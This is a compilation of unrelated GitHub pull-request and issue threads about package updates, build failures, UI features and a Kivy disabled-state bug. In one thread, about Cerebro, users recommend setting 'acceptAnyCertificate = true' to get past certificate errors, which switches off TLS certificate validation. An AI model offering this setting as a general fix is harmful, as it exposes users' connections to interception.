python3Packages.fiona: 1.8.22 -> 1.9.0

Description of changes

update package to version 1.9.0
drop patch which is applied by upstream
add pythonImportsCheck
add cython to nativeBuildInputs, otherwise build fails on

building
Executing setuptoolsBuildPhase
Cython.Build.cythonize not found. Cython is required to build fiona.
/nix/store/3yfs41f4b60jya2gk6xikx4s97zsxjr0-stdenv-linux/setup: line 1573: pop_var_context: head of shell_variables not a function context
error: builder for '/nix/store/wkccm704smp8ghbisxnpxfyf039i81q1-python3.10-fiona-1.9.0.drv' failed with exit code 1;
       last 10 log lines:
       > unpacking source archive /nix/store/3hll76zy3kjnsymwv1qxcf5jsqjmk1xh-Fiona-1.9.0.tar.gz
       > source root is Fiona-1.9.0
       > setting SOURCE_DATE_EPOCH to timestamp<PHONE_NUMBER> of file Fiona-1.9.0/setup.cfg
       > patching sources
       > configuring
       > no configure script, doing nothing
       > building
       > Executing setuptoolsBuildPhase
       > Cython.Build.cythonize not found. Cython is required to build fiona.
       > /nix/store/3yfs41f4b60jya2gk6xikx4s97zsxjr0-stdenv-linux/setup: line 1573: pop_var_context: head of shell_variables not a function context

List of changes: https://github.com/Toblerity/Fiona/releases/tag/1.9.0

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Manually tested by:

nix-build -A python3Packages.fiona
Printing Fiona version and the list of supported drivers

nix-shell -I nixpkgs=. -p 'pkgs.python3.withPackages (p: [pkgs.python3.pkgs.fiona])'

python -c "import fiona; fiona.show_versions(); print(fiona.supported_drivers)"
Fiona version: 1.9.0
GDAL version: 3.6.2
PROJ version: 9.1.1

OS: Linux 5.15.90
Python: 3.10.9
Python executable: '/nix/store/0ns497f9fgz4l7r0nb4d354rpaiphz6j-python3-3.10.9-env/bin/python3.10'

{'DXF': 'rw', 'CSV': 'raw', 'OpenFileGDB': 'raw', 'ESRIJSON': 'r', 'ESRI Shapefile': 'raw', 'FlatGeobuf': 'raw', 'GeoJSON': 'raw', 'GeoJSONSeq': 'raw', 'GPKG': 'raw', 'GML': 'rw', 'OGR_GMT': 'rw', 'GPX': 'rw', 'Idrisi': 'r', 'MapInfo File': 'raw', 'DGN': 'raw', 'PCIDSK': 'raw', 'OGR_PDS': 'r', 'S57': 'r', 'SQLite': 'raw', 'TopoJSON': 'r'}

Thanks for quick review @risicle


Added Quiz Scores To Display on Dashboard

dashboard.html: Updated with new sections to display the quiz scores. Added HTML placeholders for quiz score items, which will be populated via JavaScript with actual user data.
dashboard.css: Adjusted styling to improve the  layout, and display the quiz scores with a similar theme.
quizscores.js: New file for handling dynamic quiz score retrieval.
Notes: Still have to test out whether actual quiz scores will display, currently, the placeholders are just there. Might have to add a reference to html file for the js to update the scores dynamically.

Primary Reviewer: @EricMBu


sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

On version <IP_ADDRESS> i was just able to add "play.ws.ssl.loose.acceptAnyCertificate=true" and this error would not show up. i just tried 0.9.0 with the same variable and i get the error "sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target"
How can i solve this? I am using self signed certificates and cerebro is on docker

On new version there is a play bloc in de new default configuration, just copy it and add the acceptAnyCertificate inside:
play {
Cerebro port, by default it's 9000 (play's default)
server.http.port = ${?CEREBRO_PORT}
ws.ssl.loose.acceptAnyCertificate = true
}
It work for me

thanks


Create bug bounty program page in Lisk docs - Closes #1506

Closes #1506

Just noticed, the base branch for this PR should be main, not development, because we need this page in the live docs.
For the nav.adoc file, this means the Intro section doesn't exist yet, so I would add it under Products in the nav.

@chris529 it seems the base branch change results in a lot of unwanted changes to be part of this PR.
Please undo all changes not relevant for your PR. The probably easiest way to do it is to open a new PR on the base of the main branch, and just close this PR.

This PR has been closed as it was originally on the development branch, and a new PR has now been created with the same content on the main branch.


Are there CDN repo and minified files?

... found this on hacker news, love it!

It will be in the new version, it will be released in the next few weeks.


Maybe we should have moving and splitting combined?

Just have a move button and use the slider to determine how many are moved. The range of the slider would have to be changed to have a max of all units. The default value of the slider would also need to be changed to max units for it to act like movement normally.

actually such a good idea

i will do this

Great


BP Monitor Reading using DL

Pull Request for DL-Simplified 💡
Issue Title : BP Monitor Reading using DL(modified)

Info about the related issue (Aim of the project) : Create a DL model, which will monitor the reading given in the images and identify them.
Name: Pallavi Patil
GitHub ID: https://github.com/itspallavi20
Email ID<EMAIL_ADDRESS>Idenitfy yourself: (Mention in which program you are contributing in. Eg. For a JWOC 2022 participant it's, JWOC Participant) I am contributing in GSSOC(GirlScript Summer of Code)-2024

Closes: Initially the issue number was #245, after submitting previous PR which needed update, now it is #891.
Describe the add-ons or changes you've made 📃
(required corrections have been done ) I have created a DL model by implementing 3 algorithms-1.Custom CNN, 2.Resnet50, 3.RNN with CNN features and compared their accuracies and losses by training on medical dataset. Also updated by creating a single proper project folder consisting of subfolders containing Dataset, Images, Model-(DL model and README.md) and requirements.txt
Type of change ☑
What sort of change have you made:

[x ] Bug fix (non-breaking change which fixes an issue)
[ x] New feature (non-breaking change which adds functionality)
[ x] Code style update (formatting, local variables)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[] This change requires a documentation update

How Has This Been Tested? ⚙
The algorithms are compared on the basis of accuracy score and loss score. Graphs and visualizations are shown which reflect the scores for accuracy for each of the algorithm on the medical dataset for comparisons to find out the best algorithm for BP Monitor Reading dataset.
Checklist: ☑

[ x] My code follows the guidelines of this project.
[x ] I have performed a self-review of my own code.
[ x] I have commented my code, particularly wherever it was hard to understand.
[x ] I have made corresponding changes to the documentation.
[ ] My changes generate no new warnings.
[ x] I have added things that prove my fix is effective or that my feature works.
[ ] Any dependent changes have been merged and published in downstream modules.

Required changes are updated in the single dedicated directory for BP Monitor Reading. Kindly review the changes, (PR #891)

I have updated the single dedicated project directory with proper sub
folders as per the requested changes. Kindly review and sorry for the
inconvenience.
On Sat, Aug 10, 2024, 09:23 Abhishek Sharma @.***>
wrote:

Assigned #891 https://github.com/abhisheks008/DL-Simplified/pull/891 to
@itspallavi20 https://github.com/itspallavi20.
—
Reply to this email directly, view it on GitHub
https://github.com/abhisheks008/DL-Simplified/pull/891#event-13826886712,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/A6NLK2XYY7OPJN42FEXAMY3ZQWFDRAVCNFSM6AAAAABMIOY5ZCVHI2DSMVQWIX3LMV45UABCJFZXG5LFIV3GK3TUJZXXI2LGNFRWC5DJN5XDWMJTHAZDMOBYGY3TCMQ
.
You are receiving this because you were assigned.Message ID:
@.***>

Please fix these typing mistakes, the heading tags are not working properly.

@itspallavi20

The corrections are fixed. Kindly review them.

## Hello use this syntax only. Your markdown scripts are not working properly as the heading tags are not aligned.
@itspallavi20


Skip broken test

This has been timing out (but not t.Fail ing) for a long time, skip it
until its fixed so we don't waste 5min each time
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[ ] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure
Pull Request Attributes
Please check any characteristics that apply to this pull request.
[ ] Does not have any user-facing changes. This may include CLI changes, API changes, behavior changes, performance improvements, etc.

/test release-test_istio

@howardjohn: The following test failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-multicluster-tests_istio
a24359e1a5148e73714c9e9d7b4a6f7de8c1dc2b
link
/test integ-pilot-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-pilot-multicluster-tests_istio
a24359e1a5148e73714c9e9d7b4a6f7de8c1dc2b
link
/test integ-pilot-multicluster-tests_istio

integ-security-k8s-tests_istio
a24359e1a5148e73714c9e9d7b4a6f7de8c1dc2b
link
/test integ-security-k8s-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@howardjohn: The following tests failed, say /retest to rerun all failed tests:

Test name
Commit
Details
Rerun command

integ-security-k8s-tests_istio
a24359e1a5148e73714c9e9d7b4a6f7de8c1dc2b
link
/test integ-security-k8s-tests_istio

integ-pilot-multicluster-tests_istio
a24359e1a5148e73714c9e9d7b4a6f7de8c1dc2b
link
/test integ-pilot-multicluster-tests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


youku change the JSON metadata

youku change the json metadata from http://play.youku.com/.... so we need to change the code to get fileid
Please follow the guide below

You will be asked some questions, please read them carefully and answer honestly
Put an x into all the boxes [ ] relevant to your pull request (like that [x])
Use Preview tab to see how your pull request will actually look like

Before submitting a pull request make sure you have:

[x] At least skimmed through adding new extractor tutorial and youtube-dl coding conventions sections
[x] Searched the bugtracker for similar pull requests

In order to be accepted and merged into youtube-dl each piece of code must be in public domain or released under Unlicense. Check one of the following options:

[ ] I am the original author of this code and I am willing to release it under Unlicense
[x] I am not the original author of this code but it is in public domain or released under Unlicense (provide reliable evidence)

What is the purpose of your pull request?

[x] Bug fix
[ ] Improvement
[ ] New extractor
[ ] New feature

Description of your pull request and other information
Explanation of your pull request in arbitrary form goes here. Please make sure the description explains the purpose and effect of your pull request and is worded well enough to be understood. Provide as much context and examples as possible.

youku change the json metadate format , so I change the code to fix bug


Added website logo (with reference to issue #6)

Related Issue

Issue No. #6

Changes you made :

added a logo on all the pages beside the text "PARYATANA"

Describe the changes :

Added a free open source logo for the website using the icons8 CDN.
deleted a unused div tag

It fixes a UI problem of the website not having a dedicated logo.
Check list :

[x] I have followed code style of this project.
[x] I have read the CONTRIBUTING document.
[x] All the aspects mentioned in the issue are covered.
[x] The website is properly working after my changes.
[x] 🌟 ed the repo

Type of change :

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)

Output Screenshots :

@AntareepDey Thank for showing interest 👍
But this issue has not been assigned to you.
Please get assigned an issue and then start working on it. 😃


🐞 Missing Terminal font

Description
Hi guys, @austincondiff,
Based on my observations, it appears that the font is not functioning properly for OhMyZsh and Powerlevel 10k themes. To address this issue, we need to carefully review the user's primary Terminal configurations and make use of them accordingly. For that, we require a function capable of searching for Terminal Configurations. One possible solution to this problem is to install the 'MesloLGS NF' font or create the aforementioned function.
Best regards
NH
To Reproduce

Use iTerm2 and set Powerlevel 10k as color theme
Open CodeEdit (newest Version)
see issue in the terminal tab

Expected Behavior
The icons should be visible instead of boxes with question marks
Version Information
CodeEdit: 0.0.3-alpha (36)
macOS: 14 RC2
Xcode: 15 RC
Additional Context
No response
Screenshots

see my discord message

Can you provide more clarifications on this? There is other fonts supported for our integrated terminal. What you want is more like import configuration from other editors?

Sorry @Cubik65536 Forgot this issue. I‘m answering it in a few hours because I‘m now going to sleep (it‘s almost 1 am here in Italy)

Italy

@N3v1 I'm still waiting for your response ;)

I thought about a function that looks for the font used by the main terminal and uses it. So the user has to allow that CE can see the .zshrc file (if possible). Or sth like that.
@Cubik65536 here. I'm sorry, I forgot to reply to this issue. I just got back home yesterday

I thought about a function that looks for the font used by the main terminal and uses it. So the user has to allow that CE can see the .zshrc file (if possible). Or sth like that. @Cubik65536 here. I'm sorry, I forgot to reply to this issue. I just got back home yesterday

The .zshrc file doesn't contain any font information.
So you want CodeEdit to get what font are used by terminal apps like Terminal.app or iTerm.app and set that as default one?
Personally I don't think that this is necessary as neither vscode nor other similar editors does that. The user might want to set different font for different apps (especially between terminal emulator app and an text editor). And to solve the issue that terminal of CE shows [?], user just have to set the p10k compatible font with CE settings.

Is this a CodeEdit or SwiftTerm issue? I can imagine that SwiftTerm just doesn't know what to do, so it renders there questionmarks. Keep in mind that it is a emulator, not an embedded terminal.

Yeah I think so because I also changed the Terminal font in CE in the settings but nothing happens

Follow Discord discussion https://discord.com/channels/951544472238444645/952640818068463667/1162241131178885160 .
I cannot reproduce this issue.


WIP: Added simple paintbrush tool & example

Don't merge yet!
Special thanks to @zelle-github
Here is a first pass at a paintbrush tool that will hopefully be extensible for use by the community. It uses the layering changes made in https://github.com/chafey/cornerstone/pull/68 and will eventually allow for reading / changing / writing out a DICOM Segmentation file.
Demo
https://rawgit.com/swederik/cornerstoneTools/overlayTool/examples/overlay/index.html

One thing that would be very important is transparency. For the segmentation overlay as well as for the painting. I think it is important to be able to see what is behind the drawing. Maybe we can set the alpha channel in the overlay configuration?
One question then would be, how the transparency should behave if multiple segmentation are placed over each other. It would then be nice if only the top layer would be shown, otherwise transparency would decrease with the number of layers over each other. But that could be a little complicated to implement.

Also one important thing we would need is to show the current position of the pointer. Ideally it would be just a darker border of the pointer circle. Something like this:

Image rendered event for all layers
It would be useful to have the image rendered event for all layers separate in stead of, like now, having it only for the visible canvas.
I am asking because for border detection I need the currently shown image as an array. But, as the border detection is only based on the image but not on the drawing, I need only the image itself. Every time the image is changed (because of zooming for example), the array of the canvas has to be updated.
Currently, the image rendered event is fired every time the brush is shown and moved as the visible canvas is updated every time. That means, my canvas array is also updated every time.
Swederik suggested to not fire the events for all layers in general. The idea is to enable layer dependent events only for activated overlay tool.

Canvas sizes
The hidden canvases should all have the same size as the visible canvas. Currently they are having the same size as the image. This is extremely confusing ;-)

Coverage increased (+0.08%) to 3.906% when pulling 0f2625a7e1d97d021ae45513f4918f85f6b6bcc5 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.08%) to 3.906% when pulling b87c423edb4517ae733538d49bce4b4b4e29b71f on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.08%) to 3.906% when pulling<PHONE_NUMBER>fa8d95e74c5d37f14611e3bdbfb2cf on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.08%) to 3.906% when pulling 14b71cdfa26cc025f609d4e3d0894e64f60c00a0 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.08%) to 3.902% when pulling a6082bbbf2ea5c1fca3ada4c7420dee2be9fac42 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.08%) to 3.902% when pulling 23c1a3c60dc6ed86d83ea359db1a860936f362e8 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.09%) to 3.91% when pulling 50610ccf1de1c29c225ae59f69c13ce6c8ee3a4d on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.09%) to 3.91% when pulling 2c5feb4d392ca4a43ed0dda98df5f437371af659 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.09%) to 3.915% when pulling b6e7848e512294a83f43c0c588beabaf12c5d527 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.06%) to 3.882% when pulling a149bb32de84ea4b93fd4fdd7bfa3ea7fa907d29 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.06%) to 3.882% when pulling a149bb32de84ea4b93fd4fdd7bfa3ea7fa907d29 on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.

Coverage increased (+0.06%) to 3.889% when pulling e3402c8edce753821084caeef2714f48ecb3702b on swederik:overlayTool into ba1118c5cd985b51518bef7bff30f41787beb4cf on chafey:master.


Update Logo

Addresses issue https://github.com/QubitPi/circe/pull/3

 Add READM Badges

 Add Project Logo

 Design README


I can't set registry with consul

However, I updated the micro runtime to v1.14. Then, I can't not run the micro web/api/proxy with the param --registry=consul.
What can I?

Consul was deprecated. You can see why here https://micro.mu/blog/2019/10/04/deprecating-consul.html.
To continue to use consul please import it from go-plugins
import _ "github.com/micro/go-plugins/registry/consul"

All right, I have modified the compose file like this:
and it worked.
version: "3.7"

services:
  etcd:
    image: 'bitnami/etcd:latest'
    environment:
      - ALLOW_NONE_AUTHENTICATION=yes
      - ETCD_ADVERTISE_CLIENT_URLS=http://etcd:2379
    ports:
      - 2379:2379
      - 2380:2380
    networks:
      - micro-net
  api:
    command: --registry=etcd --registry_address=etcd:2379 --register_interval=5 --register_ttl=10  api --address=<IP_ADDRESS>:8080
    image: microhq/micro
    ports:
      - "8080:8080"
    networks:
      - micro-net

  proxy:
    command: --registry=etcd --registry_address=etcd:2379 --register_interval=5 --register_ttl=10 proxy --address=<IP_ADDRESS>:8081
    image: microhq/micro
    ports:
      - "8081:8081"
    networks:
      - micro-net
  web:
    deploy:
      replicas: 3
    command:  --registry=etcd --registry_address=etcd:2379 --register_interval=5 --register_ttl=10 web --address=<IP_ADDRESS>:8082
    image: microhq/micro
    ports:
      - "8082:8082"
    networks:
      - micro-net

networks:
  micro-net:
    external: true

Well, this is a demo for studying the micro-go. Do you mind give me some suggestion about deploying micro-go and customer api/srv service in the production env.

Consul was deprecated. You can see why here https://micro.mu/blog/2019/10/04/deprecating-consul.html.
To continue to use consul please import it from go-plugins
import _ "github.com/micro/go-plugins/registry/consul"

thank you ！now，I can sleep well

help much. I think docs need to be updated

I have the same problem, how did you solve the problem?
when i run
micro --registry=consul --registry_address=<IP_ADDRESS>:8500 api  --handler=rpc ;
I got error "Registry consul not found"


Failed to build from source

Version:
Latest code
Describe the bug
by following the guilde,    when executing the ./scripts/download && ./scripts/build && ./scripts/package-cli,   the console display as below:
go<EMAIL_ADDRESS>git fetch -f origin refs/heads/:refs/heads/ refs/tags/:refs/tags/ in /root/go/pkg/mod/cache/vcs/fb72eb2422fda47ac75ca695d44b06b82f3df3c5308e271486fca5e320879130: exit status 128:
error: RPC failed; result=22, HTTP code = 404
fatal: The remote end hung up unexpectedly
To Reproduce
git clone  and cd k3s   , ./scripts/download && ./scripts/build && ./scripts/package-cli
Expected behavior
build worked
Actual behavior
build failed
Additional context

This looks like a temporary error with modernc.org, but if you export GO111MODULE=off then go 1.13+ should use packages from the vendor directory.

still failed as below
+ go build -tags 'ctrd apparmor seccomp no_btrfs netcgo osusergo providerless ' -ldflags '     -X github.com/rancher/k3s/pkg/version.Version=v1.0.0     -X github.com/rancher/k3s/pkg/version.GitCommit=18bd921     -X github.com/rancher/k3s/vendor/github.com/containerd/containerd/version.Version=v1.3.0-k3s.4     -X github.com/rancher/k3s/vendor/github.com/containerd/containerd/version.Package=github.com/rancher/containerd     -X github.com/rancher/k3s/vendor/github.com/kubernetes-sigs/cri-tools/pkg/version.Version=v1.16.1-k3s.1      -w -s  ' -o bin/containerd ./cmd/server/main.go cmd/server/main.go:8:2: import "github.com/kubernetes-sigs/cri-tools/cmd/crictl" is a program, not an importable package [root@izj6cauhsvadcj1ztbh5pmz k3s]# go version go version go1.13.3 linux/amd64 [root@izj6cauhsvadcj1ztbh5pmz k3s]# uname -r 3.10.0-693.2.2.el7.x86_64

No idea, sorry. Check to see if you have that package already in your go path. It is working fine in CI and on my build setup.

First ,  I remove the old github.com/kubernetes-sigs, it can continue,  but  said that   gcc ld -lpthread error.
Then, I switch to make again (don't know why ,maybe just want to try ),  found that my docker is 1.13, not support the From xxx as base,  so install the docker-ce
Eventually,  worked.
thanks.


BREAKING CHANGE 0.9.5 release

Added debug asserts around every deserialization (thanks @MattHyman !)
Made generic REST APIs (GetAsync, DeleteAsync) public to support cases where the existing APIs are insufficient.
WER fix
Parsing failure fixes in Performance Data where we did not provide enough bits for numbers.

this will result in lots of warnings or errors about casting ulong to an int

Thanks for the conflict fix Matt :)


v 1.0.2 How to display ccExp not valid ? aka time has passed ?

Using v 1.0.2 can you poke me how to display validation error for ccExp.
Also are name="ccNumber" attributes for each input required ?
In following markup ...
<form name="paymentForm">

  <input style="border:1px solid black" type="text" ng-model="card.number" name="ccNumber" cc-number />

That's not a valid card Number

  <input style="border:1px solid black" type="text" ng-model="card.cvc" name="ccCvc" cc-cvc />

That's not a valid ccv code

Expired Date

    <input style="border:1px solid black" type="number" ng-model="card.exp_month" cc-exp-month name="ccExpMonth" placeholder="mm" required />

That's not a right expiry Month

    <input style="border:1px solid black" type="number" ng-model="card.exp_year" cc-exp-year name="ccExpYear" placeholder="yy" required />

That's not a right expiry Year

  <input type="submit" id="submit" ng-click="paymentForm.$valid && assignNonce()" value="Pay">

</form>

Adding a name to an input publishes the model controller onto the scope as ${formName}.${inputName}. It's not required for ccExp because it uses the ccExp validity key and doesn't publish a controller. So you need to do paymentForm.$error.ccExp. This should be documented better.

thank you


[CMake Error at scripts/cmake/vcpkg_execute_build_process.cmake:134] build failure

Operating system
Windows 10 Pro 22H2 OS Build 19045.2846
Compiler
MSVC
Steps to reproduce the behavior
PS C:\src\vcpkg> .\vcpkg.exe install boost:x64-windows boost:x86-windows

Failure logs
Installing 134/317 boost-units:x64-windows...
Elapsed time to handle boost-units:x64-windows: 1.6 s
Installing 135/317 boost-odeint:x64-windows...
Elapsed time to handle boost-odeint:x64-windows: 1.9 s
Installing 136/317 boost-outcome:x64-windows...
Elapsed time to handle boost-outcome:x64-windows: 959 ms
Installing 137/317 expat:x64-windows...
Elapsed time to handle expat:x64-windows: 60.6 ms
Installing 138/317 libffi:x64-windows...
Elapsed time to handle libffi:x64-windows: 52.9 ms
Installing 139/317 openssl:x64-windows...
Building openssl[core]:x64-windows...
-- Downloading https://github.com/openssl/openssl/archive/openssl-3.1.0.tar.gz -> openssl-openssl-openssl-3.1.0.tar.gz...
-- Extracting source C:/src/vcpkg/downloads/openssl-openssl-openssl-3.1.0.tar.gz
-- Applying patch disable-apps.patch
-- Applying patch disable-install-docs.patch
-- Applying patch script-prefix.patch
-- Applying patch windows/install-layout.patch
-- Applying patch windows/install-pdbs.patch
-- Applying patch unix/android-cc.patch
-- Applying patch unix/move-openssldir.patch
-- Applying patch unix/no-empty-dirs.patch
-- Applying patch unix/no-static-libs-for-shared.patch
-- Using source at C:/src/vcpkg/buildtrees/openssl/src/nssl-3.1.0-1ebd9e680e.clean
-- Downloading https://www.nasm.us/pub/nasm/releasebuilds/2.16.01/win64/nasm-2.16.01-win64.zip -> nasm-2.16.01-win64.zip...
-- Downloading https://strawberryperl.com/download/<IP_ADDRESS>/strawberry-perl-<IP_ADDRESS>-32bit.zip -> strawberry-perl-<IP_ADDRESS>-32bit.zip...
-- Found external ninja('1.11.0').
-- Getting CMake variables for x64-windows
-- Getting CMake variables for x64-windows
-- Downloading https://download.qt.io/official_releases/jom/jom_1_1_3.zip;https://mirrors.ocf.berkeley.edu/qt/official_releases/jom/jom_1_1_3.zip -> jom_1_1_3.zip...
-- Prerunning x64-windows-dbg
-- Building x64-windows-dbg
-- Prerunning x64-windows-rel
-- Building x64-windows-rel
-- Restarting build without parallelism
CMake Error at scripts/cmake/vcpkg_execute_build_process.cmake:134 (message):
Command failed: "C:/Program Files/Microsoft Visual Studio/2022/Community/VC/Tools/MSVC/14.35.32215/bin/Hostx64/x64/nmake.exe" /NOLOGO /G /U /F makefile install_dev install_modules INSTALL_PDBS=ON install_runtime install_ssldirs
Working Directory: C:/src/vcpkg/buildtrees/openssl/x64-windows-rel
See logs for more information:
C:\src\vcpkg\buildtrees\openssl\install-x64-windows-rel-nmake-out.log
C:\src\vcpkg\buildtrees\openssl\install-x64-windows-rel-nmake-err.log
Call Stack (most recent call first):
scripts/cmake/vcpkg_build_nmake.cmake:156 (vcpkg_execute_build_process)
ports/openssl/windows/portfile.cmake:50 (vcpkg_build_nmake)
ports/openssl/portfile.cmake:68 (include)
scripts/ports.cmake:147 (include)
error: building openssl:x64-windows failed with: BUILD_FAILED
Please ensure you're using the latest port files with git pull and vcpkg update.
Then check for known issues at:
https://github.com/microsoft/vcpkg/issues?q=is%3Aissue+is%3Aopen+in%3Atitle+openssl
You can submit a new issue at:
https://github.com/microsoft/vcpkg/issues/new?title=[openssl]+Build+error&body=Copy+issue+body+from+C%3A%2Fsrc%2Fvcpkg%2Finstalled%2Fvcpkg%2Fissue_body.md
install-x64-windows-rel-nmake-err.log
install-x64-windows-rel-nmake-out.log
Additional context
Tried a few things to resolve the issue:
1) Ensured that I was using the latest version of vcpkg by running the following command in the terminal: vcpkg update.

2) Checked if there are any known issues with building OpenSSL using vcpkg by visiting the link provided in the error message. I couldn't see any?

3) Checked if any prerequisites missing on my system. None found.

Duplicate of #30645.


Update PrjFSKextLogDaemon to monitor and record vnode cache health

Resolves #973
Updated PrjFSKextLogDaemon to poll the kext every 30 minutes and request information about the health/status of the vnode cache.  This information is then recorded in the macOS logs (where it can be queried by gvfs diagnose).
Also updated the vnode cache unit tests to make use of the new stats to perform additional validation.
Remaining Work

[X] Additional local testing of the changes
[X] Compare large build times with and without this change

/azp run GitHub VFSForGit Mac Large Repo Build - Prefetch+Hydrate

Large builds show no perf hit from these changes.
Large Build
Master
https://mseng.visualstudio.com/AzureDevOps/_build/results?buildId=9270493
With PR Changes
https://mseng.visualstudio.com/AzureDevOps/_build/results?buildId=9269317
Large Build Prefetch + Hydrate
Master
https://mseng.visualstudio.com/AzureDevOps/_build/results?buildId=9276907
With PR Changes
https://mseng.visualstudio.com/AzureDevOps/_build/results?buildId=9278800

/azp run PR - Windows - Extra

/azp run PR - Windows - Build and Unit Test

/azp run PR - Windows - Build and Unit Test (Build and test debug)

/azp run PR - Windows - Extra

@jeschu1 I decided to push the commit that uses memory_order_relaxed so you can take a look at that option and let me know what you think.  More info on this ordering options is available here:
https://en.cppreference.com/w/c/language/atomic
https://en.cppreference.com/w/c/atomic/memory_order


Disabled property doesn't work for views used by RecycleView

Versions

Python: 2.7
OS: Ubuntu 14.04
Kivy: 1.10.1
Kivy installation method: pip install<EMAIL_ADDRESS>
Description
Instances of SomeView class should be disabled when disabled property is set to True in refresh_view_attrs method, but that's not the case with Kivy 1.10.1 version. Related to https://github.com/kivy/kivy/pull/5537/
Code and Logs
from kivy.app import App
from kivy.lang import Builder
from kivy.uix.button import Button
from kivy.uix.recycleview.views import RecycleDataViewBehavior

class SomeView(RecycleDataViewBehavior, Button):

    def refresh_view_attrs(self, rv, index, data):
        self.disabled = True
        self.text = 'Disabled is {}'.format(self.disabled)

kv = '''
RecycleView:
    effect_cls: 'ScrollEffect'
    scroll_type: ['bars']
    bar_width: '15dp'
    scroll_wheel_distance: '50dp'
    viewclass: 'SomeView'
    RecycleGridLayout:
        cols: 1
        default_size_hint: 1, None
        default_size: None, dp(50)
        size_hint_y: None
        height: self.minimum_height
'''

class DisabledViewApp(App):

    def build(self):
        rv = Builder.load_string(kv)
        rv.data = [{}] * 30
        return rv

if __name__ == '__main__':
    DisabledViewApp().run()

Ok, since 1.10.1, we try to be more clever about disabled management, to avoid for example, when A is a children of B, and A is disabled, to lose that state when B is disabled then enabled again.
When a widget is added to a parent, we initiate it's disabled_count to the one of the parent.
But when recycleview manages it's state, it constantly remove/adds widgets to itself, resetting their disabled_count state, which shows that this behavior is wrong. maybe we should add our disabled count to the child's, and substruct when the child is removed. so the children can manage its own count.
[INFO   ] [MTD         ] </dev/input/event9> rotation set to 0
[INFO   ] [MTD         ] </dev/input/event11> rotation set to 0
diff --git a/kivy/uix/widget.py b/kivy/uix/widget.py
index 95769b375..abaf320b5 100644
--- a/kivy/uix/widget.py
+++ b/kivy/uix/widget.py
@@ -531,7 +531,7 @@ class Widget(WidgetBase):
                                   % (widget, parent))
         widget.parent = parent = self
         # Child will be disabled if added to a disabled parent.
-        widget._disabled_count = self._disabled_count
+        widget._disabled_count += self._disabled_count

         canvas = self.canvas.before if canvas == 'before' else \
             self.canvas.after if canvas == 'after' else self.canvas
@@ -584,6 +584,7 @@ class Widget(WidgetBase):
         elif widget.canvas in self.canvas.before.children:
             self.canvas.before.remove(widget.canvas)
         widget.parent = None
+        widget._disabled_count -= self._disabled_count

     def clear_widgets(self, children=None):

this seems to work here, but i didn't try more complex case yet.

@tshirtman, I added your changes, but there is still something that we are missing. Check-out this case:
from kivy.app import App
from kivy.lang import Builder
from kivy.properties import StringProperty
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.recycleview.views import RecycleDataViewBehavior

class SomeView(RecycleDataViewBehavior, BoxLayout):

    key = StringProperty()
    value = StringProperty()

    def refresh_view_attrs(self, rv, index, data):
        self.disabled = data.get('disabled', False)
        self.key = 'Key{}'.format(index)
        self.value = 'Value {}'.format(index)

kv = '''
<SomeView>:
    Label:
        text: root.key
        size_hint_x: None
        text_size: self.size
        halign: 'left'
        valign: 'middle'
    TextInput:
        text: root.value
        multiline: False
        write_tab: False

GridLayout:
    cols: 1
    RecycleView:
        id: rv
        effect_cls: 'ScrollEffect'
        scroll_type: ['bars']
        bar_width: '15dp'
        scroll_wheel_distance: '50dp'
        viewclass: 'SomeView'
        RecycleGridLayout:
            id: layout
            cols: 1
            spacing: '2dp'
